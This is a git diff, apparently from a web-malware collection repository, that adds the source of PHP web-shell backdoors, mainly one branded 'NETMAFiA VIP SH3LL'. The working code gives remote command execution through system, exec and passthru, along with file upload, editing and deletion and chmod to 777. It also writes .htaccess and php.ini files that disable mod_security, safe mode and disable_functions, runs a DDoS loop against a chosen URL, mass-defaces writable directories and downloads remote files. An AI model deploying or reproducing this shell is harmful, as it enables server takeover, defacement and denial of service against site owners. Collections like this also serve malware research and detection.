$_REQUEST['chmodnow']){ +$chmodnum2=$_REQUEST['chmodnow']; +chmod($_REQUEST['file2ch'],"0".$chmodnum2); +} +if($_GET['do']=="chmod"){ +echo $head.$formg.$nowaddress."<p align=center><b>Chmod</b><br><input size=50 name=file2ch value='".$_REQUEST['address'].$_REQUEST['filename']."'> To <input name=chmodnow size=1 value=777><br><input type=submit value=Set></form>".$end;exit; + +} +/* if($_GET['do']=="edit"){ +if($_GET['filename']=="dir"){ +if(is_readable($_GET['address'])){ +chdir($_GET['address']);}else{alert("Permission Denied !");} + +}} */ +$araddresss=explode($slash,getcwd()); +$matharrayy=count($araddresss)-1; +$addr1backk=str_replace($araddresss[$matharrayy],"",$araddresss); +for($countback=0;$countback<count($addr1backk);$countback++){ +$arraybacke[$countback]=$slash.$addr1backk[$countback]; +$backdirunixx=$backdirunixx.$slash.$addr1backk[$countback]; +} +if ($slash=="\\"){ +$countback=null; +$backdirwin=null; +for($countback=1;$countback<count($addr1backk);$countback++){ +$backdirwin=$backdirwin."\\".$addr1backk[$countback];} +$backdirwin=$addr1backk[0].$backdirwin; +$backaddresss=$backdirwin; +}else{ +$countback=null; +$backdirwin=null; +for($countback=1;$countback<count($addr1backk);$countback++){ +$backdirwin=$backdirwin."/".$addr1backk[$countback];} +$backdirwin=$addr1backk[0].$backdirwin; +$backaddresss=$backdirwin; +$backaddresss=str_replace("\\","/",$backaddresss); +} +function calc_dir_size($path) +{ +$size = 0; +if ($handle = opendir($path)) +{ +while (false !== ($entry = readdir($handle))) +{ +$current_path = $path . '/' . $entry; +if ($entry != '.' && $entry != '..' && !is_link($current_path)) +{ +if (is_file($current_path)) +$size += filesize($current_path); +elseif (is_dir($current_path)) +$size = calc_dir_size($current_path); +} +} +} +closedir($handle); +return $size; +} +function openf($parsef){ +global $basep,$slash; + +if(strlen(strpos(getcwd(),$basep))>=1){ +$rr=str_replace($basep,"",getcwd()); +$rr=str_replace("\\","/",$rr); +$diropen='<a href="'.$rr."/".$parsef.'">'.$parsef.'</a>'; +}else{ +$diropen='<a href="?do=edit&address='.getcwd().$slash.'&filename='.$parsef.'">'.$parsef.'</a>'; +} +return $diropen; +} +if ($_GET['address']){$ifget=$_GET['address'];}if($_POST['address']){$ifget=$_POST['address'];} +if($cwd==''){$cwd=getcwd();}$nowaddress='<input type=hidden name=address value="'.$cwd.'">'; +$ad=getcwd(); +$hand=opendir("$ad"); +$coi=0; +$coi2=0; + +while (false !== ($fileee = readdir($hand))) { + + + if ($fileee != "." && $fileee != "..") { + if (filetype($fileee)=="dir"){ + if ($coi %2){ +$colort='"#e7e3de"'; +}else{ +$colort='"#e4e1de"'; + +} +$coi++; +$fil=$fil.'<table cellpadding="0" cellspacing="0" style="border-style: dotted; border-width: 0px" bordercolor="#CDCDCD" bgcolor='.$colort.' width="950" height="1" dir="ltr"> +<tr onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$oo.'\';"><td valign="top" height="19" width="842"><p align="left"><span lang="en-us"><font face="Tahoma" style="font-size: 9pt"><img src="data:image/png;base64,' .$picdir. '" /> <a href="?address='.$cwd.$slash.$fileee.$slash.'">'.$fileee.'</b></span></td> +<td valign="top" height="19" width="65"><font face="Tahoma" style="font-size: 9pt">'.date("y/m/d", filectime($fileee)).'</td><td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt">'.substr(sprintf('%o', fileperms($cwd.$slash."$fileee")), -3).'</td><td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"></td><td valign="top" height="19" width="22"><font face="Tahoma" style="font-size: 9pt"><a href="?do=down&type=dir&address='.$cwd.$slash.'&dirname='.$fileee.'">DL</a></td><td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"><a href="?do=rename&address='.$cwd.$slash.'&filename='.$fileee.'">Ren</a></td> +<td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"><a href="?do=delete&type=dir&address='.$cwd.$slash.'&filename='.$fileee.'">Del</a></td></tr></table>' +;} +else{ + + if ($coi2 %2){ +$colort='"#e7e3de"'; +}else{ +$colort='"#e4e1de"'; +} + +$coi2++; +$file=$file.'<table cellpadding="0" cellspacing="0" style="border-style: dotted; border-width: 0px" bordercolor="#CDCDCD" bgcolor='.$colort.' width="950" height="20" dir="ltr"> +<tr onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$oo.'\';"><td valign="top" height="19" width="842"><p align="left"><span lang="en-us"><font face="Tahoma" style="font-size: 9pt"><img src="data:image/png;base64,' .$picfile. '" /> '.openf($fileee).'</span></td> +<td valign="top" height="19" width="80"><font face="Tahoma" style="font-size: 9pt">'.sizee(filesize($fileee)).'</td><td valign="top" height="19" width="65"><font face="Tahoma" style="font-size: 9pt">'.date("y/m/d", filectime($fileee)).'</td><td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt">'.substr(sprintf('%o', fileperms($cwd.$slash."$fileee")), -3).'</td><td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"><a href="?do=edit&address='.$cwd.$slash.'&filename='.$fileee.'">Edit</a></td><td valign="top" height="19" width="23"><font face="Tahoma" style="font-size: 9pt"><a href="?do=down&type=file&address='.$cwd.$slash.'&filename='.$fileee.'">DL</a></td><td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"><a href="?do=rename&address='.$cwd.$slash.'&filename='.$fileee.'">Ren</a></td> +<td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"><a href="?do=delete&type=file&address='.$cwd.$slash.'&filename='.$fileee.'">Del</a></td></tr></table>' +;} +} +} +echo $head.' +<font face="Tahoma" style="font-size: 6pt"><table cellpadding="0" cellspacing="0" style="border-style: dotted; border-width: 1px" bordercolor="#CDCDCD" width="950" height="20" dir="ltr"> +<tr><td valign="top" height="19" width="842"><p align="left"><span lang="en-us"><font face="Tahoma" style="font-size: 9pt"><font color=#4a7af4>Now Directory : '.getcwd()."<br>".printdrive().'<br><a href="?do=back&address='.$backaddresss.'"><font color=#000000>Back</span></td> +</tr></table>'.$fil.$file.'</table> +<table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"> +<tr> +<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"> +<font face="Tahoma" style="font-size: 10pt; font-weight:700"><br>'.$formg.'Command Execute : </font></td> +<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"><input type=hidden name=address value='.getcwd().'><input name=command value=id size=50><input type=hidden name=do value=cmd size=50> <select name=execmethod> + <option value="system">System</option> <option value="exec">Exec</option> <option value="passthru">Passthru</option> +</select> <input type=submit value="Execute"></form></td></tr> +<tr> +<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"> +<font face="Tahoma" style="font-size: 10pt; font-weight:700"><br>'.$formg.'Change Dir : </font></td> +<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"><input name=address value='.getcwd().$slash.' size=50> +<input type=submit value=Change></form></td></tr> +<tr> +<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"> +<font face="Tahoma" style="font-size: 10pt; font-weight:700"><br>'.$formg.'Create Dir : </font></td> +<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"><input name=cdirname value='.getcwd().$slash.' size=50><input type=hidden name=address value='.getcwd().'><input type=submit value=" Create "></form></td></tr> +<tr> +<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"> +<font face="Tahoma" style="font-size: 10pt; font-weight:700"><br>'.$formg.'Create File : </font></td> +<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"><input name=cfilename value='.getcwd().$slash.' size=50> <input type=hidden name=address value='.getcwd().'><input type=submit value=" Create "></form></td></tr> +<tr></form> +<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"> +<font face="Tahoma" style="font-size: 10pt; font-weight:700"><br>'.$formg.'Upload : </font></td> +<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"><form action="'.$me.'" method=post enctype=multipart/form-data>'.$nowaddress.' +<font face="Tahoma" style="font-size: 10pt"><input size=40 type=file name=filee > <input type=hidden name=address value='.getcwd().'> +<input type=submit value=Upload /></form></td></tr> +<tr> +<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"> +<font face="Tahoma" style="font-size: 10pt; font-weight:700"><br>'.$formg.'Copy File : </font></td> +<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"><input size=20 name=copyname><input type=hidden name=address value="'.getcwd().'"> To <input size=40 name=cpyto value="'.getcwd().$slash.'"> <input type=submit value =Copy></form></td></tr> +'.$end; +?> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/jHn.php b/web-malware-collection-master/Backdoors/PHP/jHn.php new file mode 100755 index 0000000..17eb3eb --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/jHn.php @@ -0,0 +1,1265 @@ +<?php +session_start(); +set_time_limit(0); +error_reporting(0); +if (get_magic_quotes_gpc()) { +function stripslashes_deep($value) { + $value = is_array($value) ? + array_map('stripslashes_deep', $value) : + stripslashes($value); + + return $value; + } +$_POST = array_map('stripslashes_deep', $_POST); +$_GET = array_map('stripslashes_deep', $_GET); +$_COOKIE = array_map('stripslashes_deep', $_COOKIE); +$_REQUEST = array_map('stripslashes_deep', $_REQUEST); +} +if($_GET['do']=="remove"){ +unlink(getcwd().$_SERVER["SCRIPT_NAME"]); +} +$basep=$_SERVER['DOCUMENT_ROOT']; +if(strtolower(substr(PHP_OS, 0, 3)) == "win"){ +$slash="\\"; +$basep=str_replace("/","\\",$basep); +}else{ +$slash="/"; +$basep=str_replace("\\","/",$basep); +} +if($_GET['do']=="remove"){ +unlink(getcwd().$slash.$_SERVER["SCRIPT_NAME"]); +} +if ($_REQUEST['address']){ +if(is_readable($_REQUEST['address'])){ +chdir($_REQUEST['address']);}else{ +alert("Permission Denied !");}} +$me=$_SERVER['PHP_SELF']; +$formp="<form method=post action='".$me."'>"; +$formg="<form method=get action='".$me."'>"; +$nowaddress='<input type=hidden name=address value="'.getcwd().'">'; +if (isset($_FILES["filee"]) and ! $_FILES["filee"]["error"]) { + if(move_uploaded_file($_FILES["filee"]["tmp_name"], $_FILES["filee"]["name"])){ + alert("File Upload Successful"); + }else{ +alert("Permission Denied !"); + + } + } +if(ini_get('disable_functions')){ +$disablef=ini_get('disable_functions'); +}else{ +$disablef="All Functions Enable"; +} +if(ini_get('safe_mode')){ +$safe_modes="On"; +}else{ +$safe_modes="Off"; +} +if ($_REQUEST['chmode'] && $_REQUEST['chmodenum']){ +if (chmod($_POST['chmode'],"0".$_POST['chmodenum'])){alert("Chmod Ok!");}else{alert("Permission Denied !");} +} +$picdir='iVBORw0KGgoAAAANSUhEUgAAAA0AAAANCAYAAABy6+R8AAAB30lEQVR42mNggAAuIBZCwjxAzMiAC4jIykrZOLplhcWlzAuLS50PwkFRiTPl1TQDBSQk7OFYRMSejY1NA6iFiUFEUinKwS/mcURW1f9wIA7NrPwflFr63zow7bOJd9IbQ8/EN7qucW+0XOLeyJv5XmETU9RjUDV03BlX2P43oaz/f2hO+3+v5Pr/DlEV/81Div/r+eT+V3PL+C/tlvefP6Lzv6BRyD82ce1IBl07/zNJFf3/Eyon/Q8v7vuf0LPqf3Dt7P9mYWX/1YMr/oslTfrPnzjpv4h92n8Bo7D/rJJ6eQyS5n63PLJa/wcU9f33K+z9H9O7+n/TiRf/7Xp3/Ods3v9fJGnif3H37P/Cjqn/+azj/7PIGrQxsBn7P+V2yfzP45bzn9c9979cZN3/1LUX/ktMvfiftfnQf8Gw+v8C3vn/+Txy/3O7Zv1nVjCZx8DqkPCWw7/0PwgLRtb/d+vf/F+3fPZ/jtDa/0y1O/4zVW76zx5c/R+mhlnFfBsDm3fOZ/bIhv+cMU3/pXIm/xdK7f4P4oMwW0zLf7bEnv/s0c1wMSY953MMQnG1P5UKJ/8nFgvaBz9jYPTJfM2c2PqfWMxoGfCFgUFGK4pBw3wh0VhCuRSUkligaY9YzAIA/X/3S1/5EEMAAAAASUVORK5CYII='; +$picfile='iVBORw0KGgoAAAANSUhEUgAAAA0AAAANCAYAAABy6+R8AAABaElEQVR42mMIXfWfef7JT7Yrz34o33ABhj9BaKDYrP3PE6IqpgkyoINNFz9Gnnzw/f/NFz8w8JYrX//P2H6zMrByijCKpl1XPkbee/Xt//fv3zHw/ltf/x+4/vnT7O036wOzkTSuP/cu8sazz/+/fPmCgS8++vx/25XP/xcceP4xr2dLPFA5M1jTytPvIq88/vj/40fc+Oz15//LOxZXAZVzgDUtO/E68tLDD/8/fMCB33/4f/rqs/8lLQur4ZoWH3sdeeH+h//v37/Hjt+9/3/yytP/RU1ImuYefh159u67/2/fvsWK37x58//4pSf/C9A1nb7z9v/r169x4mOXHv/PQ9a0AOi8M3cgJmLDIE0nLj9Bdd6CYy8iz94BKniNBb+B0CdBmpADonP9/cjlBx7/333q8f89p9HwGaA4kF665/7/lGqkIHfwKRax9Yh1t3IICLZ1CApBx1ZAbGIbECwlr28IVM4KAPZgwQxbJyVoAAAAAElFTkSuQmCC'; +$head='<style type="text/css"> +A:link {text-decoration: none} +A:visited {text-decoration: none} +A:active {text-decoration: none} +A:hover {text-decoration: underline overline; color: 414141;} +.focus td{border-top:0px solid #f8f8f8;border-bottom:1px solid #ddd;background:#f2f2f2;padding:0px 0px 0px 0px;} +</style><head> +<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> +<title>johnnyM@r00t ~</title> +</head><body topmargin="0" leftmargin="0" rightmargin="0" +bgcolor="#f2f2f2"><div align="center"> +&nbsp;<table border="1" width="1000" height="14" bordercolor="#CDCDCD" style="border-collapse: collapse; border-style: solid; border-width: 1px"> +<tr> +<td height="30" width="996"> +<p align="center"><font face="Tahoma" style="font-size: 9pt"><span lang="en-us"><a href="?do=home">Home</a> -- <a href="?do=filemanager&address='.getcwd().'">File Manager</a> -- <a href="?do=cmd&address='.getcwd().'">Command Execute</a> -- <a href="?do=bc&address='.getcwd().'">Back Connect</a> -- +<a href="?do=bypasscmd&address='.getcwd().'">BypasS Command eXecute(SF-DF)</a> -- <a href="?do=symlink&address='.getcwd().'">Symlink</a> -- +<a href="?do=bypassdir&address='.getcwd().'">BypasS Directory</a> -- <a href="?do=eval&address='.getcwd().'"> +Eval Php</a> -- <a href="?do=db&address='.getcwd().'">Data Base</a> -- <a href="?do=convert&address='.getcwd().'">Convert</a> -- <a href="?do=mail&address='.getcwd().'">Mail Boomber</a><a href="?do=info&address='.getcwd().'"> +<br>Server Information</a> -- <a href="?do=d0slocal&address='.getcwd().'">Dos Local Server</a> -- <a href="?do=dump&address='.getcwd().'">Backup Database</a> -- <a href="?do=mass&address='.getcwd().'">Mass Deface</a> -- <a href="?do=dlfile&address='.getcwd().'">Download Remote File</a> -- <a href="?do=dd0s&address='.getcwd().'">DDoS</a> -- <a href="?do=perm&address='.getcwd().'">Find Writable Directory</a> -- <a href="?do=apache&address='.getcwd().'">Server</a></span></font></td></tr></table></div> +<div align="center"> +<table id="table2" style="border-collapse: collapse; border-style: +solid;" width="1000" bgcolor="#eaeaea" border="1" bordercolor="#c6c6c6" +cellpadding="0"><tbody><tr><td><div align="center"><table id="table3" style="border-style:dashed; border-width:1px; margin-top: 1px; margin-bottom: 0px; +border-collapse: collapse" width="950" border="1" bordercolor="#cdcdcd" +height="10" bordercolorlight="#CDCDCD" bordercolordark="#CDCDCD"><tbody><tr><font face="Tahoma" style="font-size: 9pt"><div align="center"> +Operation System : '.php_uname().' | Php Version : '.phpversion().' | Safe Mode : '.$safe_modes.' <td style="border: 1px solid rgb(198, 198, 198);" +width="950" bgcolor="#e7e3de" height="10" valign="top">'; +$end='</td></tr></tbody></table></div></td></tr><tr><td bgcolor="#c6c6c6"><p style="margin-top: 0pt; margin-bottom: 0pt" align="center"><span lang="en-us"><font face="Tahoma" style="font-size: 9pt">'.base64_decode("IyBQQVRSQU9qb2hubnk=").'<br><font size=1>'.base64_decode("IyBORVRNQUZpQSBWaVAgU0gzTEw=").'</a></font></span></td></tr></tbody></table></div></body></html>'; +$deny=$head."<p align='center'> <b>Oh My God!<br> Permission Denied".$end; +function alert($text){ +echo "<script>alert('".$text."')</script>"; +} +if ($_GET['do']=="edit" && $_GET['filename']!="dir"){ +if(is_readable($_GET['address'].$_GET['filename'])){ +$opedit=fopen($_GET['address'].$_GET['filename'],"r"); +while(!feof($opedit)) +$data.=fread($opedit,9999); +fclose($opedit); +echo $head.$formp.$nowaddress.'<p align="center">File Name : '.$_GET['address'].$_GET['filename'].'<br><textarea rows="19" name="fedit" cols="87">'.htmlentities("$data").'</textarea><br><input value='.$_GET['filename'].' name=namefe><br><input type=submit value=" Save "></form></p>'.$end;exit; +}else{alert("Permission Denied !");}} +function sizee($size) +{ + if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";} + elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";} + elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";} + else {$size = $size . " B";} + return $size; +} +if($_REQUEST['do']=='about'){ +echo $head."<p align='center'><b><font color=red>NETMAFiA ~ PATRAOjohnnyM</b> + +".$end;exit; + +} +function deleteDirectory($dir) { +if (!file_exists($dir)) return true; +if (!is_dir($dir) || is_link($dir)) return unlink($dir); +foreach (scandir($dir) as $item) { +if ($item == '.' || $item == '..') continue; +if (!deleteDirectory($dir . "/" . $item)) { +chmod($dir . "/" . $item, 0777); +if (!deleteDirectory($dir . "/" . $item)) return false; +};}return rmdir($dir);} + +function download($fileadd,$finame){ +$dlfilea=$fileadd.$finame; +header("Content-Disposition: attachment; filename=" . $finame); +header("Content-Type: application/download"); +header("Content-Length: " . filesize($dlfilea)); +flush(); +$fp = fopen($$dlfilea, "r"); +while (!feof($fp)) +{ + echo fread($fp, 65536); + flush(); +} +fclose($fp); +} +if($_GET['do']=="rename"){ +echo $head.$formp.$nowaddress.'<p align="center"><input value='.$_GET['filename'].'><input type=hidden name=addressren value='.$_GET['address'].$_GET['filename'].'> To <input name=nameren><br><input type=submit value=" Save "></form></p>'.$end;exit; +} + +if ($_GET['byapache']=='ofms'){ +$fse=fopen(getcwd().$slash.".htaccess","w"); +fwrite($fse,'<IfModule mod_security.c> + Sec------Engine Off + Sec------ScanPOST Off +</IfModule>'); +fclose($fse); +}elseif ($_GET['byapache']=='bysap'){ +$fse=fopen(getcwd().$slash.".htaccess","w"); +fwrite($fse,'Options +FollowSymLinks +DirectoryIndex Persian-Gulf-For-Ever.html'); +fclose($fse); +}elseif ($_GET['byapache']=='sfadf'){ +$fse=fopen(getcwd().$slash."php.ini","w"); +fwrite($fse,'safe_mode=OFF +disable_functions=NONE'); +fclose($fse); +} +if($_GET['do']=="apache"){ +echo $head.$formg.$nowaddress.'<p align="center"> +<select name=byapache> +<option value="ofms">Off Mode Security(.htaccess)</option><option value="bysap">Bypass Symlink(.htaccess)</option> +<option value="sfadf">Disable Safe Mode & Disable Function(Php.ini)</option> +</select><br><input type=submit value=eXecute></form></p>'.$end;exit; +} +if($_GET['do']=="dd0s"){ +echo $head.$formg.$nowaddress.'<p align="center">Address : <input name=urldd0 size=50> Time : <input name=timedd0 size=6 value=40000><br><input type=submit value=" DDoS "></form></p>'.$end;exit; +} + +if($_GET['urldd0'] && $_GET['timedd0']){ +for ($id=0;$$id<$_GET['timedd0'];$id++){ +$fp=null; +$contents=null; +$fp=fopen($_GET['urldd0'],"rb"); +while (!feof($fp)) { + $contents .= fread($fp, 8192); +} +fclose($fp); +}} +if($_GET['do']=="dlfile"){ +echo $head.$formp.$nowaddress.'<p align="center">Download Remote File!<br>Address : <input name=adlr size=70><br>Save To : <input name=adsr value='.getcwd().$slash.' size=70><br><input type=submit value=" Download "></form></p>'.$end;exit; +} +function dirpe($addres){ +global $slash; +$idd=0; +if ($dirhen = @opendir($addres)) { +while ($file = readdir($dirhen)) { +$permdir=str_replace('//','/',$addres.$slash.$file); +if($file!='.' && $file!='..' && is_dir($permdir)){ +if (is_writable($permdir)) { +$dirdata[$idd]['filename']=$permdir; +$idd++; +} +dirpe($permdir); + } + } + closedir($dirhen); + } else { + return ("notperm"); + } + if ($dirdata){ + return $dirdata; + }else{ + return "notfound"; + + } +} +function dirpmass($addres,$massname,$masssource){ +global $slash; +$idd=0; +if ($dirhen = @opendir($addres)) { +while ($file = readdir($dirhen)) { +$permdir=str_replace('//','/',$addres.$slash.$file); +if($file!='.' && $file!='..' && is_dir($permdir)){ +if (is_writable($permdir)) { +if ($fm=fopen($permdir.$slash.$massname,"w")){ +fwrite($fm,$masssource); +fclose($fm); +$dirdata[$idd]['filename']=$permdir; +} + +$idd++; +} +dirpmass($permdir); + } + } + closedir($dirhen); + } else { + return ("notperm"); + } + if ($dirdata){ + return $dirdata; + }else{ + return "notfound"; + + } +} +if($_GET['do']=="perm"){ +echo $head.$formp.'<p align="center">Find All Folder Writeable<br> <input name=affw value="'.getcwd().$slash.'" size=50><br><input type=submit value=" Search "></form></p>'.$end;exit; +} +if ($_POST['affw']){ +$arrfilelist=dirpe($_POST['affw']); +if ($arrfilelist=='notfound'){ +alert("Not Found !"); +}elseif($arrfilelist=='notperm'){ +alert("Permission Denied !"); +}else{ +foreach ($arrfilelist as $tmpdir){ + if ($coi %2){ +$colort='"#e7e3de"'; +}else{ +$colort='"#e4e1de"';} +$coi++; +$permdir=$permdir.'<table cellpadding="0" cellspacing="0" style="border-style: dotted; border-width: 1px" bordercolor="#CDCDCD" bgcolor='.$colort.' width="950" height="20" dir="ltr"> +<tr><td valign="top" height="19" width="842"><p align="left"><span lang="en-us"><font face="Tahoma" style="font-size: 9pt"><a href="?address='.$tmpdir['filename'].'"><b>'.$tmpdir['filename'].'</b></span></td> +<td valign="top" height="19" width="65"><font face="Tahoma" style="font-size: 9pt"></td><td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"></td><td valign="top" height="19" width="22"><font face="Tahoma" style="font-size: 9pt"></td><td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"></td> +<td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"></td></tr></table>'; +} +echo $head.' +<font face="Tahoma" style="font-size: 6pt"><table cellpadding="0" cellspacing="0" style="border-style: dotted; border-width: 1px" bordercolor="#CDCDCD" width="950" height="20" dir="ltr"> +<tr><td valign="top" height="19" width="842"><p align="left"><span lang="en-us"><font face="Tahoma" style="font-size: 9pt"><font color=#4a7af4>Now Directory : '.getcwd()."<br>".printdrive().'<br><a href="?do=back&address='.$backaddresss.'"><font color=#000000>Back</span></td> +</tr></table>'.$permdir.'</table> +<table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"><tr> +<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"> +<font face="Tahoma" style="font-size: 10pt; font-weight:700"><br>'.$formg.'Change Directory</font></td> +<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"><input name=address value='.getcwd().'><input type=submit value="Go"></form></td></tr><tr> +<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"> +<font face="Tahoma" style="font-size: 10pt; font-weight:700">Upload ---&gt; &nbsp;</td> +<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"> +<form action="'.$me.'" method=post enctype=multipart/form-data>'.$nowaddress.' +<font face="Tahoma" style="font-size: 10pt"><input size=40 type=file name=filee > +<input type=submit value=Upload /><br>'.$ifupload.'</form></td></tr><tr> +<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"> +<font face="Tahoma" style="font-size: 10pt"><b>'.$formp.'Chmod ----&gt;</b>&nbsp;&nbsp;File : </td> +<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"> +<font face="Tahoma" style="font-size: 10pt"><form method=post action=/now2.php><input size=55 name=chmode>&nbsp;&nbsp;Permission : <input name=chmodnum value=777 size=3> <input type=submit value=" Ok "></form></td></tr><tr> +<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"> +<font face="Tahoma" style="font-size: 10pt"><b>'.$formp.'Create Dir ----&gt;</b> Dirctory Name </td> +<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"> +<font face="Tahoma" style="font-size: 10pt"> +<input name=cdirname size=20>'.$nowaddress.' <input type=submit value=" Create "></form></td></tr><tr> +<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"> +<font face="Tahoma" style="font-size: 10pt">'.$formp.'<b>Create File ----&gt;</b> Name File </td> +<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"> +<font face="Tahoma" style="font-size: 10pt"><input name=cfilename size=20>'.$nowaddress.' <input type=submit value=" Create "></form></td></tr><tr> +<td width="200" align="right" valign="top"> +<font face="Tahoma" style="font-size: 10pt">'.$formp.'<b>Copy ----&gt;</b></b>&nbsp;&nbsp;File : </td> +<td width="750"><font face="Tahoma" style="font-size: 10pt"> +<input size=40 name=copyname> To Directory <input size=40 name=cpyto> <input type=submit value =Copy></form></td>'.$end;exit; +}} +if($_GET['do']=="mass"){ +echo $head.$formp.'<p align="center">[Mass Deface]<br><input name=mffw value="'.getcwd().$slash.'" size=50><input name=massname value="def.htm" size=10><br><textarea name=masssource cols=60 rows=18>Source</textarea><br><input type=submit value=" Mass "></form></p>'.$end;exit; +} +if ($_POST['mffw']){ +$arrfilelist=dirpmass($_POST['mffw'],$_POST['massname'],$_POST['masssource']); +if ($arrfilelist=='notfound'){ +alert("Not Found !"); +}elseif($arrfilelist=='notperm'){ +alert("Permission Denied !"); +}else{ +foreach ($arrfilelist as $tmpdir){ + if ($coi %2){ +$colort='"#e7e3de"'; +}else{ +$colort='"#e4e1de"';} +$coi++; +$permdir=$permdir.'<table cellpadding="0" cellspacing="0" style="border-style: dotted; border-width: 1px" bordercolor="#CDCDCD" bgcolor='.$colort.' width="950" height="20" dir="ltr"> +<tr><td valign="top" height="19" width="842"><p align="left"><span lang="en-us"><font face="Tahoma" style="font-size: 9pt"><a href="?address='.$tmpdir['filename'].'"><b>'.$tmpdir['filename'].'</b></span></td> +<td valign="top" height="19" width="65"><font face="Tahoma" style="font-size: 9pt"></td><td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"></td><td valign="top" height="19" width="22"><font face="Tahoma" style="font-size: 9pt"></td><td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"></td> +<td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"></td></tr></table>'; +} +echo $head.' +<font face="Tahoma" style="font-size: 6pt"><table cellpadding="0" cellspacing="0" style="border-style: dotted; border-width: 1px" bordercolor="#CDCDCD" width="950" height="20" dir="ltr"> +<tr><td valign="top" height="19" width="842"><p align="left"><span lang="en-us"><font face="Tahoma" style="font-size: 9pt"><font color=#4a7af4>Now Directory : '.getcwd()."<br>".printdrive().'<br><a href="?do=back&address='.$backaddresss.'"><font color=#000000>Back</span></td> +</tr></table>'.$permdir.'</table> +<table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"><tr> +<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"> +<font face="Tahoma" style="font-size: 10pt; font-weight:700"><br>'.$formg.'Change Directory</font></td> +<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"><input name=address value='.getcwd().'><input type=submit value="Go"></form></td></tr><tr> +<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"> +<font face="Tahoma" style="font-size: 10pt; font-weight:700">Upload ---&gt; &nbsp;</td> +<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"> +<form action="'.$me.'" method=post enctype=multipart/form-data>'.$nowaddress.' +<font face="Tahoma" style="font-size: 10pt"><input size=40 type=file name=filee > +<input type=submit value=Upload /><br>'.$ifupload.'</form></td></tr><tr> +<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"> +<font face="Tahoma" style="font-size: 10pt"><b>'.$formp.'Chmod ----&gt;</b>&nbsp;&nbsp;File : </td> +<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"> +<font face="Tahoma" style="font-size: 10pt"><form method=post action=/now2.php><input size=55 name=chmode>&nbsp;&nbsp;Permission : <input name=chmodnum value=777 size=3> <input type=submit value=" Ok "></form></td></tr><tr> +<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"> +<font 